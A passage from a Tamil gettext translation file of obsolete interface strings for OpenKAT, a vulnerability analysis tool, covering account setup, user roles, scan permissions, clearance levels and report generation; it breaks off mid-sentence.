\"Asset reports details:\"\n#~ msgstr \"சொத்து விவரிக்கிறது விவரங்கள்:\"\n\n#~ msgid \"Asset reports:\"\n#~ msgstr \"சொத்து அறிக்கைகள்:\"\n\n#~ msgid \"\"\n#~ \"<p>A description of the Boefje explaining in short what it can do. This \"\n#~ \"will both be displayed inside the KAT-alogus and on the Boefje details \"\n#~ \"page.</p> \"\n#~ msgstr \"\"\n#~ \"<p> போஃப்சேவின் விளக்கம் என்ன செய்ய முடியும் என்பதை சுருக்கமாக விளக்குகிறது. இது \"\n#~ \"இரண்டும் கேட்-அலோகச் மற்றும் போஃப்சே விவரங்கள் பக்கத்தில் காண்பிக்கப்படும். </p> \"\n\n#~ msgid \"\"\n#~ \"Dozens of tools are integrated in OpenKAT to view the world (digital and \"\n#~ \"analog). <br> Our motto is therefore: I see, I see, what you do not see.\"\n#~ msgstr \"\"\n#~ \"உலகைக் காண (டிசிட்டல் மற்றும் அனலாக்) டசன் கணக்கான கருவிகள் ஓபன்காட்டில் \"\n#~ \"ஒருங்கிணைக்கப்பட்டுள்ளன. <br> எனவே எங்கள் குறிக்கோள்: நீங்கள் பார்க்காததை நான் காண்கிறேன், \"\n#~ \"நான் பார்க்கிறேன்.\"\n\n#, python-format\n#~ msgid \"An overview of members of <strong>%(organization_name)s</strong>\"\n#~ msgstr \"<strong>%(organization_name)s </strong> உறுப்பினர்களின் கண்ணோட்டம்\"\n\n#~ msgid \"E-mail\"\n#~ msgstr \"மின்னஞ்சல்\"\n\n#, python-brace-format\n#~ msgid \"A unique code of {code_length} characters.\"\n#~ msgstr \"{code_length} எழுத்துக்களின் தனித்துவமான குறியீடு.\"\n\n#~ msgid \"\"\n#~ \"I declare that OpenKAT may scan the assets of my organization and that I \"\n#~ \"have permission to scan these assets. I am aware of the implications a \"\n#~ \"scan with a higher scan level brings on my systems.\"\n#~ msgstr \"\"\n#~ \"ஓபன்காட் எனது அமைப்பின் சொத்துக்களை ச்கேன் செய்யலாம் என்றும் இந்த சொத்துக்களை ச்கேன் செய்ய \"\n#~ \"எனக்கு இசைவு உள்ளது என்றும் அறிவிக்கிறேன். எனது கணினிகளில் அதிக ச்கேன் அளவைக் கொண்ட \"\n#~ \"ச்கேன் ஒரு ச்கேன் தாக்கங்களை நான் அறிவேன்.\"\n\n#~ msgid \"\"\n#~ \"I declare that I am authorized to give this indemnification within my \"\n#~ \"organization. I have the experience and knowledge to know what the \"\n#~ \"consequences might be and can be held responsible for them.\"\n#~ msgstr \"\"\n#~ \"எனது நிறுவனத்திற்குள் இந்த இழப்பீடு வழங்க எனக்கு அதிகாரம் உண்டு என்று அறிவிக்கிறேன். \"\n#~ \"விளைவுகள் என்னவாக இருக்கும் என்பதை அறிய எனக்கு அனுபவமும் அறிவும் உள்ளது, மேலும் \"\n#~ \"அவர்களுக்கு பொறுப்பேற்க முடியும்.\"\n\n#~ msgid \"Register\"\n#~ msgstr \"பதிவு செய்யுங்கள்\"\n\n#~ msgid \"Create a new account for your organization\"\n#~ msgstr \"உங்கள் நிறுவனத்திற்கு புதிய கணக்கை உருவாக்கவும்\"\n\n#~ msgid \"\"\n#~ \"All user  accounts are part of an organization. So if you’re new and your \"\n#~ \"company is also new to OpenKAT you can register here to create a OpenKAT \"\n#~ \"account for your company including an admin account for you. If you like \"\n#~ \"a user account that is connected to an already existing organization \"\n#~ \"within OpenKAT you can ask the admin to create an account for you.\"\n#~ msgstr \"\"\n#~ \"அனைத்து பயனர் கணக்குகளும் ஒரு நிறுவனத்தின் ஒரு பகுதியாகும். எனவே நீங்கள் புதியவராக \"\n#~ \"இருந்தால், உங்கள் நிறுவனமும் OpenKAT க்கு புதியதாக இருந்தால், உங்களுக்கான நிர்வாகக் \"\n#~ \"கணக்கு உட்பட உங்கள் நிறுவனத்திற்கு OpenKAT கணக்கை உருவாக்க இங்கே பதிவு செய்யலாம். \"\n#~ \"OpenKAT க்குள் ஏற்கனவே இருக்கும் நிறுவனத்துடன் இணைக்கப்பட்டுள்ள பயனர் கணக்கை நீங்கள் \"\n#~ \"விரும்பினால், உங்களுக்காக ஒரு கணக்கை உருவாக்க நிர்வாகியிடம் கேட்கலாம்.\"\n\n#~ msgid \"How does OpenKAT work\"\n#~ msgstr \"ஓபன்காட் எவ்வாறு செயல்படுகிறது\"\n\n#~ msgid \"\"\n#~ \"OpenKAT is able to give insight into security risks on your online \"\n#~ \"objects. For example, your websites, mailservers or online data. OpenKAT \"\n#~ \"uses scans to find and assess the area's that might be at risk and \"\n#~ \"reports these back to you. As a user you decide which insight you would \"\n#~ \"like and OpenKAT guides you to through the process. During this \"\n#~ \"introduction you will be guided through the steps to create a report.\"\n#~ msgstr \"\"\n#~ \"உங்கள் நிகழ்நிலை பொருள்களில் பாதுகாப்பு அபாயங்கள் குறித்த நுண்ணறிவை ஓபன்காட் வழங்க \"\n#~ \"முடியும். எடுத்துக்காட்டாக, உங்கள் வலைத்தளங்கள், மெயில்சர்வர்கள் அல்லது நிகழ்நிலை தரவு. \"\n#~ \"ஆபத்தில் இருக்கும் பகுதியைக் கண்டுபிடித்து மதிப்பிடுவதற்கு ஓபன்காட் ச்கேன்களைப் \"\n#~ \"பயன்படுத்துகிறது, மேலும் இவற்றை உங்களிடம் தெரிவிக்கிறது. ஒரு பயனராக நீங்கள் எந்த \"\n#~ \"நுண்ணறிவை விரும்புகிறீர்கள் என்பதை தீர்மானிக்கிறீர்கள், மேலும் OpenKat இந்த செயல்முறையின் \"\n#~ \"மூலம் உங்களை வழிநடத்துகிறது. இந்த அறிமுகத்தின் போது நீங்கள் ஒரு அறிக்கையை \"\n#~ \"உருவாக்குவதற்கான படிகள் மூலம் வழிநடத்தப்படுவீர்கள்.\"\n\n#~ msgid \"OpenKAT setup\"\n#~ msgstr \"OpenKAT அமைப்பு\"\n\n#~ msgid \"\"\n#~ \"Please enter the following organization details. These details can be \"\n#~ \"edited within the organization page within OpenKAT when necessary. Adding \"\n#~ \"a new organization requires a new database.\"\n#~ msgstr \"\"\n#~ \"பின்வரும் நிறுவன விவரங்களை உள்ளிடவும். இந்த விவரங்களை தேவைப்படும்போது OpenKAT க்குள் \"\n#~ \"உள்ள நிறுவன பக்கத்திற்குள் திருத்தலாம். புதிய அமைப்பைச் சேர்ப்பதற்கு புதிய தரவுத்தளம் \"\n#~ \"தேவை.\"\n\n#~ msgid \"Account setup\"\n#~ msgstr \"கணக்கு அமைப்பு\"\n\n#~ msgid \"Organization setup with separate accounts:\"\n#~ msgstr \"தனி கணக்குகளுடன் அமைப்பு அமைப்பு:\"\n\n#~ msgid \"\"\n#~ \"Within OpenKAT it is possible to create separate user accounts with the \"\n#~ \"specific roles. Each with their own functionalities and permissions. This \"\n#~ \"is useful when multiple people will be working with the same OpenKAT-\"\n#~ \"setup. You can choose to create the separate accounts during this \"\n#~ \"introduction or when you’re ready from the OpenKAT users page.\"\n#~ msgstr \"\"\n#~ \"OpenKAT க்குள் குறிப்பிட்ட பாத்திரங்களுடன் தனி பயனர் கணக்குகளை உருவாக்க முடியும். \"\n#~ \"ஒவ்வொன்றும் அவற்றின் சொந்த செயல்பாடுகள் மற்றும் அனுமதிகளுடன். பல நபர்கள் ஒரே ஓபன்காட்-\"\n#~ \"செட்டப்புடன் பணிபுரியும் போது இது பயனுள்ளதாக இருக்கும். இந்த அறிமுகத்தின் போது \"\n#~ \"அல்லது நீங்கள் OpenKat பயனர்கள் பக்கத்திலிருந்து தயாராக இருக்கும்போது தனி கணக்குகளை \"\n#~ \"உருவாக்க நீங்கள் தேர்வு செய்யலாம்.\"\n\n#~ msgid \"Single account setup:\"\n#~ msgstr \"ஒற்றை கணக்கு அமைப்பு:\"\n\n#~ msgid \"\"\n#~ \"Alternatively it is also an option to run OpenKAT from a single user \"\n#~ \"account. Which is useful when you are the only user in the account. You \"\n#~ \"will be able to access the functionality of the different roles from your \"\n#~ \"account. You can always add additional user accounts If you’re team \"\n#~ \"expands in the future.\"\n#~ msgstr \"\"\n#~ \"மாற்றாக இது ஒரு பயனர் கணக்கிலிருந்து OpenKAT ஐ இயக்குவதற்கான ஒரு விருப்பமாகும். \"\n#~ \"கணக்கில் நீங்கள் மட்டுமே பயனராக இருக்கும்போது இது பயனுள்ளதாக இருக்கும். உங்கள் \"\n#~ \"கணக்கிலிருந்து வெவ்வேறு பாத்திரங்களின் செயல்பாட்டை நீங்கள் அணுக முடியும். எதிர்காலத்தில் \"\n#~ \"நீங்கள் குழு விரிவடைந்தால் கூடுதல் பயனர் கணக்குகளை எப்போதும் சேர்க்கலாம்.\"\n\n#~ msgid \"Create separate accounts\"\n#~ msgstr \"தனி கணக்குகளை உருவாக்கவும்\"\n\n#~ msgid \"Continue with this account, onboard me!\"\n#~ msgstr \"இந்த கணக்கைத் தொடரவும், என்னைத் தொடங்குங்கள்!\"\n\n#~ msgid \"Users\"\n#~ msgstr \"பயனர்கள்\"\n\n#~ msgid \"\"\n#~ \"Within OpenKAT there are three types of user accounts. Each has its own \"\n#~ \"functions.\"\n#~ msgstr \"\"\n#~ \"OpenKAT க்குள் மூன்று வகையான பயனர் கணக்குகள் உள்ளன. ஒவ்வொன்றும் அதன் சொந்த \"\n#~ \"செயல்பாடுகளைக் கொண்டுள்ளன.\"\n\n#~ msgid \"Admin\"\n#~ msgstr \"நிர்வாகி\"\n\n#~ msgid \"\"\n#~ \"Each organization must have an admin. The admin can create and manage \"\n#~ \"user accounts as well as organization details.\"\n#~ msgstr \"\"\n#~ \"ஒவ்வொரு நிறுவனத்திற்கும் ஒரு நிர்வாகி இருக்க வேண்டும். நிர்வாகி பயனர் கணக்குகள் மற்றும் \"\n#~ \"நிறுவன விவரங்களை உருவாக்கி நிர்வகிக்க முடியும்.\"\n\n#~ msgid \"Red teamer\"\n#~ msgstr \"சிவப்பு டீமர்\"\n\n#~ msgid \"A red teamer account can run scans and generate reports.\"\n#~ msgstr \"ஒரு ரெட் டீமர் கணக்கு ச்கேன்களை இயக்கலாம் மற்றும் அறிக்கைகளை உருவாக்கலாம்.\"\n\n#~ msgid \"Client account\"\n#~ msgstr \"வாங்கி கணக்கு\"\n\n#~ msgid \"A client account can access reports.\"\n#~ msgstr \"கிளையன்ட் கணக்கு அறிக்கைகளை அணுகலாம்.\"\n\n#~ msgid \"\"\n#~ \"Each organization requires at least one admin and one red teamer account \"\n#~ \"to function. This introduction will guide you through the setup of both. \"\n#~ \"After that you can choose to add a client account as well.\"\n#~ msgstr \"\"\n#~ \"ஒவ்வொரு நிறுவனத்திற்கும் செயல்பட குறைந்தபட்சம் ஒரு நிர்வாகி மற்றும் ஒரு சிவப்பு டீமர் \"\n#~ \"கணக்கு தேவைப்படுகிறது. இந்த அறிமுகம் இரண்டையும் அமைப்பதன் மூலம் உங்களுக்கு \"\n#~ \"வழிகாட்டும். அதன் பிறகு கிளையன்ட் கணக்கையும் சேர்க்க நீங்கள் தேர்வு செய்யலாம்.\"\n\n#~ msgid \"Let's add accounts\"\n#~ msgstr \"கணக்குகளைச் சேர்ப்போம்\"\n\n#~ msgid \"Admin account setup\"\n#~ msgstr \"நிர்வாக கணக்கு அமைப்பு\"\n\n#~ msgid \"Admin details\"\n#~ msgstr \"நிர்வாக விவரங்கள்\"\n\n#~ msgid \"Skip this step\"\n#~ msgstr \"இந்த படியைத் தவிர்க்கவும்\"\n\n#~ msgid \"Go back to previous step\"\n#~ msgstr \"முந்தைய படிக்குச் செல்லுங்கள்\"\n\n#~ msgid \"Red teamer account setup\"\n#~ msgstr \"ரெட் டீமர் கணக்கு அமைப்பு\"\n\n#~ msgid \"Red teamer details\"\n#~ msgstr \"சிவப்பு அணியின் விவரங்கள்\"\n\n#~ msgid \"Client account setup (optional)\"\n#~ msgstr \"கிளையன்ட் கணக்கு அமைவு (விரும்பினால்)\"\n\n#~ msgid \"\"\n#~ \"A client account can access reports. Adding a client account to the \"\n#~ \"organization is optional.\"\n#~ msgstr \"\"\n#~ \"கிளையன்ட் கணக்கு அறிக்கைகளை அணுகலாம். நிறுவனத்தில் கிளையன்ட் கணக்கைச் சேர்ப்பது \"\n#~ \"விருப்பமானது.\"\n\n#~ msgid \"User details\"\n#~ msgstr \"பயனர் விவரங்கள்\"\n\n#~ msgid \"Finish organization setup\"\n#~ msgstr \"அமைப்பு அமைப்பை முடிக்கவும்\"\n\n#~ msgid \"\"\n#~ \"OpenKAT is the \\\"Kwetsbaarheden Analyse Tool\\\" (Vulnerabilities Analysis \"\n#~ \"Tool). An Open-Source-project developed by the Ministry of Health, \"\n#~ \"Welfare and Sport to make your and our world a safer place.\"\n#~ msgstr \"\"\n#~ \"OpenKAT என்பது \\\"KWETSBAARHEDEN ANALYSE TOOLURE\\\" (பாதிப்புகள் பகுப்பாய்வு \"\n#~ \"கருவி) ஆகும். உங்களுடைய மற்றும் எங்கள் உலகத்தை பாதுகாப்பான இடமாக மாற்ற சுகாதார, \"\n#~ \"நலன்புரி மற்றும் விளையாட்டு அமைச்சகம் உருவாக்கிய திறந்த மூல-திட்டம்.\"\n\n#~ msgid \"\"\n#~ \"OpenKAT is able to give insight into security risks on your online \"\n#~ \"objects. For example, your websites, mailservers or online data.\"\n#~ msgstr \"\"\n#~ \"உங்கள் நிகழ்நிலை பொருள்களில் பாதுகாப்பு அபாயங்கள் குறித்த நுண்ணறிவை ஓபன்காட் வழங்க \"\n#~ \"முடியும். எடுத்துக்காட்டாக, உங்கள் வலைத்தளங்கள், மெயில்சர்வர்கள் அல்லது நிகழ்நிலை தரவு.\"\n\n#~ msgid \"\"\n#~ \"OpenKAT uses plugins to find and assess the area's that might be at risk \"\n#~ \"and reports these back to you. Each plugin has its own skillset which \"\n#~ \"could be scanning, normalizing or analyzing data. As a user you decide \"\n#~ \"which areas you would like to monitor or scan and which insight you would \"\n#~ \"like to receive.\"\n#~ msgstr \"\"\n#~ \"ஆபத்தில் இருக்கும் பகுதியைக் கண்டுபிடித்து மதிப்பிடுவதற்கு ஓபன்காட் செருகுநிரல்களைப் \"\n#~ \"பயன்படுத்துகிறது, மேலும் இவற்றை உங்களிடம் தெரிவிக்கிறது. ஒவ்வொரு சொருகி அதன் சொந்த \"\n#~ \"திறனைக் கொண்டுள்ளது, இது தரவை ச்கேன் செய்வது, இயல்பாக்குதல் அல்லது பகுப்பாய்வு \"\n#~ \"செய்வது. ஒரு பயனராக நீங்கள் எந்த பகுதிகளை கண்காணிக்க அல்லது ச்கேன் செய்ய \"\n#~ \"விரும்புகிறீர்கள், எந்த நுண்ணறிவைப் பெற விரும்புகிறீர்கள் என்பதை நீங்கள் தீர்மானிக்கிறீர்கள்.\"\n\n#~ msgid \"\"\n#~ \"Within OpenKAT you can view the insights as well as all the data OpenKAT \"\n#~ \"has found. You can choose to browse through the data or view reports.\"\n#~ msgstr \"\"\n#~ \"OpenKAT க்குள் நீங்கள் நுண்ணறிவுகளையும், OpenKat ஐக் கண்டறிந்த அனைத்து தரவுகளையும் \"\n#~ \"காணலாம். தரவு மூலம் உலவ அல்லது அறிக்கைகளைக் காண நீங்கள் தேர்வு செய்யலாம்.\"\n\n#~ msgid \"\"\n#~ \"During this introduction you will be guided through the steps to create a \"\n#~ \"report.\"\n#~ msgstr \"\"\n#~ \"இந்த அறிமுகத்தின் போது நீங்கள் ஒரு அறிக்கையை உருவாக்குவதற்கான படிகள் மூலம் \"\n#~ \"வழிநடத்தப்படுவீர்கள்.\"\n\n#~ msgid \"OpenKAT introduction\"\n#~ msgstr \"OpenKat அறிமுகம்\"\n\n#~ msgid \"Choose a report - Introduction\"\n#~ msgstr \"ஒரு அறிக்கையைத் தேர்வுசெய்க - அறிமுகம்\"\n\n#~ msgid \"\"\n#~ \"Reports within OpenKAT contain an overview of the scanned objects, issues \"\n#~ \"found within them and known security risks that the object might be \"\n#~ \"vulnerable to. Each report gives a high overview of the state of the \"\n#~ \"object as well as detailed information on what OpenKAT found and possible \"\n#~ \"solutions.\"\n#~ msgstr \"\"\n#~ \"OpenKat க்குள் உள்ள அறிக்கைகள் ச்கேன் செய்யப்பட்ட பொருள்களின் கண்ணோட்டத்தைக் \"\n#~ \"கொண்டிருக்கின்றன, அவற்றில் காணப்படும் சிக்கல்கள் மற்றும் பொருள் பாதிக்கப்படக்கூடிய \"\n#~ \"பாதுகாப்பு அபாயங்கள். ஒவ்வொரு அறிக்கையும் பொருளின் நிலையைப் பற்றிய உயர் \"\n#~ \"கண்ணோட்டத்தையும், ஓபன்காட் என்ன கண்டுபிடித்தது என்பதையும், சாத்தியமான தீர்வுகள் பற்றிய \"\n#~ \"விரிவான தகவல்களையும் தருகிறது.\"\n\n#~ msgid \"\"\n#~ \"OpenKAT can scan and analyze by using plugins. Each plugin has it's \"\n#~ \"unique skillset and will collect specific data or give specific insights. \"\n#~ \"You manage the plugins within your account which let's OpenKAT know which \"\n#~ \"plugins to run and on which objects or areas.\"\n#~ msgstr \"\"\n#~ \"செருகுநிரல்களைப் பயன்படுத்தி OpenKAT ச்கேன் செய்து பகுப்பாய்வு செய்யலாம். ஒவ்வொரு \"\n#~ \"சொருகி அதன் தனித்துவமான திறனைக் கொண்டுள்ளது மற்றும் குறிப்பிட்ட தரவைச் சேகரிக்கும் \"\n#~ \"அல்லது குறிப்பிட்ட நுண்ணறிவுகளைத் தரும். உங்கள் கணக்கிற்குள் உள்ள செருகுநிரல்களை நீங்கள் \"\n#~ \"நிர்வகிக்கிறீர்கள், இது எந்த செருகுநிரல்களை இயக்க வேண்டும், எந்த பொருள்கள் அல்லது \"\n#~ \"பகுதிகள் என்பதை ஓபன்காட் அறிந்து கொள்வோம்.\"\n\n#~ msgid \"Generating a report\"\n#~ msgstr \"ஒரு அறிக்கையை உருவாக்குதல்\"\n\n#~ msgid \"\"\n#~ \"When you choose a report type OpenKAT will guide you through the setup. \"\n#~ \"OpenKAT will ask the necessary questions based on the input the report \"\n#~ \"needs, as well as asks for permission to run plugins that you haven’t \"\n#~ \"enabled yet but are needed to collect or analyze the data.\"\n#~ msgstr \"\"\n#~ \"நீங்கள் ஒரு அறிக்கை வகையைத் தேர்வுசெய்யும்போது, திறப்பது அமைப்பின் மூலம் உங்களுக்கு \"\n#~ \"வழிகாட்டும். அறிக்கைக்குத் தேவையான உள்ளீட்டின் அடிப்படையில் தேவையான கேள்விகளை ஓபன்காட் \"\n#~ \"கேட்கும், அத்துடன் நீங்கள் இதுவரை இயக்காத ஆனால் தரவைச் சேகரிக்க அல்லது பகுப்பாய்வு செய்ய \"\n#~ \"வேண்டிய செருகுநிரல்களை இயக்க இசைவு கேட்கிறது.\"\n\n#~ msgid \"\"\n#~ \"You can also choose to look at the collected data directly or generate \"\n#~ \"your own report by selecting and running plugins on objects of your \"\n#~ \"choice. OpenKAT will present the results.\"\n#~ msgstr \"\"\n#~ \"நீங்கள் விரும்பும் பொருள்களில் செருகுநிரல்களைத் தேர்ந்தெடுத்து இயக்குவதன் மூலம் \"\n#~ \"சேகரிக்கப்பட்ட தரவைப் பார்க்க அல்லது உங்கள் சொந்த அறிக்கையை உருவாக்கவும் நீங்கள் தேர்வு \"\n#~ \"செய்யலாம். ஓபன்காட் முடிவுகளை வழங்கும்.\"\n\n#~ msgid \"Permission\"\n#~ msgstr \"இசைவு\"\n\n#~ msgid \"\"\n#~ \"Plugins can be provided by OpenKAT but they can also come from the \"\n#~ \"community. Before a plugin can run, you need to give it permission by \"\n#~ \"enabling it.\"\n#~ msgstr \"\"\n#~ \"செருகுநிரல்களை ஓபன்காட் வழங்க முடியும், ஆனால் அவை சமூகத்திலிருந்தும் வரலாம். ஒரு \"\n#~ \"சொருகி இயங்குவதற்கு முன், அதை இயக்குவதன் மூலம் அதற்கு இசைவு வழங்க வேண்டும்.\"\n\n#~ msgid \"\"\n#~ \"When you generate a report. OpenKAT will let you know which plugins it \"\n#~ \"requires or suggests so you can choose to enable them.\"\n#~ msgstr \"\"\n#~ \"நீங்கள் ஒரு அறிக்கையை உருவாக்கும்போது. எந்த செருகுநிரல்கள் தேவை அல்லது \"\n#~ \"பரிந்துரைக்கின்றன என்பதை ஓபன்காட் உங்களுக்குத் தெரிவிக்கும், எனவே அவற்றை இயக்க நீங்கள் \"\n#~ \"தேர்வு செய்யலாம்.\"\n\n#~ msgid \"Let's choose a report\"\n#~ msgstr \"ஒரு அறிக்கையைத் தேர்ந்தெடுப்போம்\"\n\n#~ msgid \"Choose a report - Type\"\n#~ msgstr \"ஒரு அறிக்கையைத் தேர்வுசெய்க - தட்டச்சு செய்க\"\n\n#~ msgid \"\"\n#~ \"Within OpenKAT you can view reports for each of your current objects. For \"\n#~ \"specific reports you can choose one of the available report types and \"\n#~ \"generate a report. Such as a pentest, a DNS-report or a Mail Report to \"\n#~ \"give some examples.\"\n#~ msgstr \"\"\n#~ \"OpenKAT க்குள் உங்கள் தற்போதைய ஒவ்வொரு பொருளுக்கும் அறிக்கைகளைக் காணலாம். குறிப்பிட்ட \"\n#~ \"அறிக்கைகளுக்கு நீங்கள் கிடைக்கக்கூடிய அறிக்கை வகைகளில் ஒன்றைத் தேர்ந்தெடுத்து அறிக்கையை \"\n#~ \"உருவாக்கலாம். பென்டெச்ட், டி.என்.எச்-அறிக்கை அல்லது சில எடுத்துக்காட்டுகளை வழங்க ஒரு \"\n#~ \"அஞ்சல் அறிக்கை போன்றவை.\"\n\n#~ msgid \"For this tutorial we will create a DNS-report to get you started.\"\n#~ msgstr \"இந்த டுடோரியலுக்காக நீங்கள் தொடங்குவதற்கு டி.என்.எச்-அறிக்கையை உருவாக்குவோம்.\"\n\n#~ msgid \"\"\n#~ \"When you start to generate this report. OpenKAT will guide you through \"\n#~ \"the necessary steps.\"\n#~ msgstr \"\"\n#~ \"இந்த அறிக்கையை நீங்கள் உருவாக்கத் தொடங்கும் போது. அவுட்காட் தேவையான படிகள் மூலம் \"\n#~ \"உங்களுக்கு வழிகாட்டும்.\"\n\n#~ msgid \"Setup scan\"\n#~ msgstr \"அமைவு ச்கேன்\"\n\n#~ msgid \"Let OpenKAT know what object to scan\"\n#~ msgstr \"ச்கேன் செய்ய எந்த பொருளை OpenKat க்கு தெரியப்படுத்துங்கள்\"\n\n#~ msgid \"\"\n#~ \"Plugins scan and analyze objects. OpenKAT needs to know which object(s) \"\n#~ \"you would like to scan and analyze for the DNS-report. So it can tell you \"\n#~ \"which plugins are available for the chosen object.\"\n#~ msgstr \"\"\n#~ \"செருகுநிரல்கள் பொருள்களை ச்கேன் செய்து பகுப்பாய்வு செய்கின்றன. டி.என்.எச்-அறிக்கைக்கு \"\n#~ \"நீங்கள் எந்த பொருளை (களை) ச்கேன் செய்து பகுப்பாய்வு செய்ய விரும்புகிறீர்கள் என்பதை \"\n#~ \"ஓபன்காட் அறிந்து கொள்ள வேண்டும். எனவே தேர்ந்தெடுக்கப்பட்ட பொருளுக்கு எந்த செருகுநிரல்கள் \"\n#~ \"உள்ளன என்பதை இது உங்களுக்குக் கூறலாம்.\"\n\n#~ msgid \"Understanding objects\"\n#~ msgstr \"பொருள்களைப் புரிந்துகொள்வது\"\n\n#~ msgid \"\"\n#~ \"A lot of things can be an object within the scope of OpenKAT. For example \"\n#~ \"a mailserver, an IP address, a URL, a DNS record, a hostname or a network \"\n#~ \"to name a few.  While these objects can be related to each other they are \"\n#~ \"all objects within OpenKAT that can be scanned to gain valuable insight.\"\n#~ msgstr \"\"\n#~ \"ஓபன்காட்டின் எல்லைக்குள் நிறைய விசயங்கள் ஒரு பொருளாக இருக்கலாம். எடுத்துக்காட்டாக, ஒரு \"\n#~ \"மெயில்சர்வர், ஒரு ஐபி முகவரி, ஒரு முகவரி, ஒரு டிஎன்எச் பதிவு, ஒரு ஓச்ட்பெயர் \"\n#~ \"அல்லது ஒரு சில பெயர்களைக் குறிப்பிடுவதற்கு பிணையம். இந்த பொருள்கள் ஒருவருக்கொருவர் \"\n#~ \"தொடர்புடையதாக இருக்கும்போது, அவை அனைத்தும் OpenKAT க்குள் உள்ள பொருள்கள், அவை \"\n#~ \"மதிப்புமிக்க நுண்ணறிவைப் பெற ச்கேன் செய்யப்படலாம்.\"\n\n#~ msgid \"Creating, adding and editing objects\"\n#~ msgstr \"பொருள்களை உருவாக்குதல், சேர்ப்பது மற்றும் திருத்துதல்\"\n\n#~ msgid \"\"\n#~ \"Within OpenKAT you can view, add and edit objects from the organization’s \"\n#~ \"object page.\"\n#~ msgstr \"\"\n#~ \"OpenKat க்குள் நீங்கள் நிறுவனத்தின் பொருள் பக்கத்திலிருந்து பொருட்களைக் காணலாம், \"\n#~ \"சேர்க்கலாம் மற்றும் திருத்தலாம்.\"\n\n#~ msgid \"\"\n#~ \"Let’s add an object to scan for the DNS-Report. For this introduction we \"\n#~ \"suggest adding a URL.\"\n#~ msgstr \"\"\n#~ \"டி.என்.எச்-அறிக்கைக்கு ச்கேன் செய்ய ஒரு பொருளைச் சேர்ப்போம். இந்த அறிமுகத்திற்கு முகவரி \"\n#~ \"ஐ சேர்க்க பரிந்துரைக்கிறோம்.\"\n\n#~ msgid \"Create your first object, a URL by filling out the form below.\"\n#~ msgstr \"\"\n#~ \"கீழே உள்ள படிவத்தை நிரப்புவதன் மூலம் உங்கள் முதல் பொருளை, முகவரி ஐ உருவாக்கவும்.\"\n\n#~ msgid \"\"\n#~ \"Additional details and examples can be found by pressing on the help \"\n#~ \"button next to the input field.\"\n#~ msgstr \"\"\n#~ \"உள்ளீட்டு புலத்திற்கு அடுத்த உதவி பொத்தானை அழுத்துவதன் மூலம் கூடுதல் விவரங்கள் மற்றும் \"\n#~ \"எடுத்துக்காட்டுகளைக் காணலாம்.\"\n\n#~ msgid \"Dependencies\"\n#~ msgstr \"சார்புநிலைகள்\"\n\n#~ msgid \"\"\n#~ \"Most objects have dependencies on the existence of other objects. For \"\n#~ \"example a URL needs to be connected to a network, hostname, fqdn (fully \"\n#~ \"qualified domain name) and IP address. OpenKAT collects these additional \"\n#~ \"object automatically when possible. By running plugins to collect or \"\n#~ \"extract this data.\"\n#~ msgstr \"\"\n#~ \"பெரும்பாலான பொருள்கள் மற்ற பொருட்களின் இருப்பைப் பற்றிய சார்புகளைக் கொண்டுள்ளன. \"\n#~ \"எடுத்துக்காட்டாக, ஒரு முகவரி ஐ ஒரு பிணையம், ஓச்ட்பெயர், FQDN (முழு தகுதி வாய்ந்த \"\n#~ \"டொமைன் பெயர்) மற்றும் ஐபி முகவரியுடன் இணைக்க வேண்டும். ஓபன்காட் இந்த கூடுதல் பொருளை \"\n#~ \"முடிந்தவரை தானாக சேகரிக்கிறது. இந்தத் தரவை சேகரிக்க அல்லது பிரித்தெடுக்க \"\n#~ \"செருகுநிரல்களை இயக்குவதன் மூலம்.\"\n\n#~ msgid \"\"\n#~ \"The additional objects that OpenKAT created will be added to your object \"\n#~ \"list as separate objects. If OpenKAT can’t add them automatically it will \"\n#~ \"guide you through the process of creating them manually.\"\n#~ msgstr \"\"\n#~ \"OpenKAT உருவாக்கிய கூடுதல் பொருள்கள் உங்கள் பொருள் பட்டியலில் தனி பொருள்களாக \"\n#~ \"சேர்க்கப்படும். ஓபன்காட் அவற்றை தானாகவே சேர்க்க முடியாவிட்டால், அவற்றை கைமுறையாக \"\n#~ \"உருவாக்கும் செயல்முறையின் மூலம் அது உங்களுக்கு வழிகாட்டும்.\"\n\n#~ msgid \"\"\n#~ \"Based on the url you provided OpenKAT added the necessary additional \"\n#~ \"objects to create a url object.\"\n#~ msgstr \"\"\n#~ \"நீங்கள் வழங்கிய முகவரி இன் அடிப்படையில் OpenKAT ஒரு முகவரி பொருளை உருவாக்க \"\n#~ \"தேவையான கூடுதல் பொருள்களைச் சேர்த்தது.\"\n\n#~ msgid \"URL\"\n#~ msgstr \"முகவரி\"\n\n#~ msgid \"Owner\"\n#~ msgstr \"உரிமையாளர்\"\n\n#~ msgid \"Path\"\n#~ msgstr \"பாதை\"\n\n#~ msgid \"Hostname\"\n#~ msgstr \"புரவலன்பெயர்\"\n\n#~ msgid \"scheme\"\n#~ msgstr \"திட்டம்\"\n\n#~ msgid \"Network\"\n#~ msgstr \"பிணையம்\"\n\n#~ msgid \"Start scanning\"\n#~ msgstr \"ச்கேன் செய்யத் தொடங்குங்கள்\"\n\n#~ msgid \"OpenKAT Introduction\"\n#~ msgstr \"OpenKat அறிமுகம்\"\n\n#~ msgid \"Setup scan - OOI clearance for\"\n#~ msgstr \"அமைவு ச்கேன் - OOI இசைவு\"\n\n#~ msgid \"\"\n#~ \"Some scans are lightweight while others might be a bit more aggressive \"\n#~ \"with their scanning. OpenKAT requires you to set a clearance level for \"\n#~ \"each object to prevent you from unintentionally running aggressive scans. \"\n#~ \"For example you might have the right to run any type of scan on your own \"\n#~ \"server but you probably don’t have the right to do so for objects owned \"\n#~ \"by other people of companies.\"\n#~ msgstr \"\"\n#~ \"சில ச்கேன் இலகுரக, மற்றவர்கள் தங்கள் ச்கேனிங்கில் சற்று ஆக்ரோசமாக இருக்கலாம். தற்செயலாக \"\n#~ \"இயங்கும் வன்கவர்வு ச்கேன்களைத் தடுக்க ஒவ்வொரு பொருளுக்கும் இசைவு அளவை அமைக்க OpenKat \"\n#~ \"தேவைப்படுகிறது. எடுத்துக்காட்டாக, உங்கள் சொந்த சேவையகத்தில் எந்தவொரு ச்கேன் \"\n#~ \"இயக்குவதற்கும் உங்களுக்கு உரிமை இருக்கலாம், ஆனால் பிற நிறுவனங்களின் சொந்த \"\n#~ \"பொருட்களுக்கு அவ்வாறு செய்ய உங்களுக்கு உரிமை இல்லை.\"\n\n#~ msgid \"How to know required clearance level\"\n#~ msgstr \"தேவையான இசைவு அளவை எவ்வாறு அறிவது\"\n\n#~ msgid \"\"\n#~ \"Each plugin that scans will have a scan intensity score. The intensity of \"\n#~ \"the scan must be equal to or below the clearance level you set for your 